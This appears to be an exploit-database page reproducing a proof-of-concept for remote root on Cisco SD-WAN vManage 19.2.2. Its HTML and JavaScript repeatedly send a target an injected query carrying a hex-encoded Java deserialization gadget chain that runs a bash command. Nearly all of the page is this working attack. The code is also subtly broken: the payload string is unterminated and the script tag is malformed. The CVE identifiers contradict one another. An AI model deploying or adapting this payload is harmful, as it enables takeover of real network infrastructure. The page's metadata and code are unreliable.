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Cisco SD-WAN vManage 19.2.2 Remote Root

CVE Category Price Severity
CVE-2020-3452 CWE-20 Not specified Critical
Author Risk Exploitation Type Date
Dmitry Sklyarov Critical Remote 2021-06-06
CVSS EPSS EPSSP
CVSS:8.8/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.85222 0.999441

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021060036

Below is a copy:

Cisco SD-WAN vManage 19.2.2 Remote Root
<html>
<head><title>Cisco SD-WAN vManage 19.2.2 Remote Root Shell PoC</title></head>
<script src="text/javascript">
   /*
    This PoC exploits CVE-20203387 through CVE-20203437
   */
   function exploit() {
      var payload = new Image(1,1);
      payload.src = 'https://<target>/dataservice/device/counters?deviceId=-1%27%20return%200%20as%20%60system-ip%60%20Union%20Match(s)%20set%20s%2esamlMessage%3d%22aced00057372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc4020000787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573736167657400124c6a6176612f6c616e672f537472696e673b5b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b787071007e0008707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd22390200007870000000037372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd85020008420006666f726d617449000a6c696e654e756d6265724c000f636c6173734c6f616465724e616d6571007e00054c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e00054c000a6d6f64756c654e616d6571007e00054c000d6d6f64756c6556657273696f6e71007e00057870010000004a74000361707074002679736f73657269616c2e7061796c6f6164732e436f6d6d6f6e73436f6c6c656374696f6e7335740018436f6d6d6f6e73436f6c6c656374696f6e73352e6a6176617400096765744f626a65637470707371007e000b010000002c71007e000d71007e000e71007e000f71007e001070707371007e000b010000003171007e000d74001979736f73657269616c2e47656e65726174655061796c6f616474001447656e65726174655061796c6f61642e6a6176617400046d61696e70707372001f6a6176612e7574696c2e436f6c6c656374696f6e7324456d7074794c6973747ab817b43ca79ede020000787078737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b657971007e00014c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00017870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d6571007e00055b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e002f00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e002f7371007e00287571007e002c00000002707571007e002c00000000740006696e766f6b657571007e002f00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e002c7371007e00287571007e002c00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400032d63707401a16563686f202d6e6520276332563049475675646d6c79623235745a5735304946565452564939636d39766441706b5a575a70626d5567636d397664416f674943426d615735706332674b494341676332563049435279595867394d416f674943426a62323530615735315a51706c626d514b596e4a6c59577367
      document.body.appendChild(payload);
   }
   window.onload = function() {
      setInterval(exploit, 1);
   }
</script>
<body>
</body>
</html>

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